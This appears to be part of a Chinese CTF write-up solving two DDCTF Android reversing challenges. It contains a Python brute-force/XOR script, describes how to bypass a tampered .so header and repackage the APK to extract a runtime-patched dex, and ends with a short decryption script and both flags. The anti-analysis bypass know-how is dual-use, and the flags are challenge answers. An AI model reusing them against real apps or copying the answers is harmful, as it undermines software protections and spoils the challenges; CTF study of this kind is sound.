flag='ZF'
enc=''
for i in range(2):
tmp=tele[table.index(flag[i])]
for j in range(10):
tmp^=key[j*8+i]
enc+=table[tele.index(tmp)]
print enc
i=0
succ=0
for a in table:
for b in table:
for c in table:
for d in table:
for e in table:
for f in table:
if i%100000==0: print float(i)*100/1073741824
tmp=enc+a+b+c+d+e+f
res=tmp
for k in range(5):
res=sha256(res).hexdigest()
i+=1
if res==target:
print tmp
enc=tmp
succ=1
break
if succ==1: break
if succ==1: break
if succ==1: break
if succ==1: break
if succ==1: break
flag=''
for i in range(8):
tmp=tele[table.index(enc[i])]
for j in range(10):
tmp^=key[j*8+i]
flag+=table[tele.index(tmp)]
print 'DDCTF{ddctf-android-lorenz-%s}' % flag
跑大概一个小时左右,就能跑到 Flag
了。
Flag: DDCTF{ddctf-android-lorenz-ZFPQETDB}
0x12 Android - Have Fun
题目:Android逆向,请找出正确的flag. 包裹上DDCTF{...}提交
这题真令人头疼。变量名全部经过 Unicode混淆
,字符串全部经过 动态解密混淆
,关键代码还插了 垃圾指令
导致生成伪代码失败。
尝试动态调试,直接闪退,logcat
显示 loadlibrary
时抛出 has invalid shdr offset/size
错误。上网查了一下,发现 Android >= 7
时开启了诸多对 .so
文件的检测。而这道题的 .so
头部被修改过,所以过不了这个检测。
先对 libhwFGfOp0EzktJb.so
进行分析。
此处会判断输入长度是否为14字节。
然后与 off_2910
进行比较。
off_2910
= @n|ixihPIppqws
再分析一下 smali
代码。发现它会调用到一个外部 dex
文件:assets/Y2xhc3Nlc19kZC5kZXg=
。
这里会对用户输入进行 Encode
,然后再交由 .so
进行比较。
写解密脚本,发现提交答案始终不正确。在这里卡了一段时间,后来重新审计 smali
代码,发现自己还是太年轻了,没玩懂出题人的套路。
里面有段代码会动态修改外部 dex
文件,往里面插入一些代码,重新计算头部的校验值,并且生成一个新的 dex
文件,释放到 /sdcard/
里的一个隐藏文件夹里。新文件名为 dnsmanYUn12M.dex
,这个才是真正被调用到的 dex
文件。没理解错的话,整个流程用术语好像是叫作 热修复
?
那么如何得到新的 dex
文件呢。
搞了很久,终于找到一条行得通的办法。
由于 .so
被修改了头,直接运行 APK
会闪退,所以注释掉 smali
里 loadlibrary
这一行,重新打包 APK
,这样就能不会闪退了。然后点击 Check
的按钮,让它生成新的 dex
文件,并且由于没有 loadlibrary
无法调用外部函数,触发闪退。
这样就能从隐藏文件夹里提取出新的 dnsmanYUn12M.vdex
和 dnsmanYUn12M.odex
文件。
然后手工转成 dnsmanYUn12M.dex
文件,进一步分析。
这才是真正的 dex
文件。套路真的深~
写解密脚本,一个很简单的解密流程。
enc='@n|ixihPIppqws'
flag=''
for i in range(len(enc)):
flag+=chr(ord(enc[i])^(i+8))
print flag
终于得到 Flag
。
Flag: DDCTF{Hgvbtdf_Yabbcf}
Comments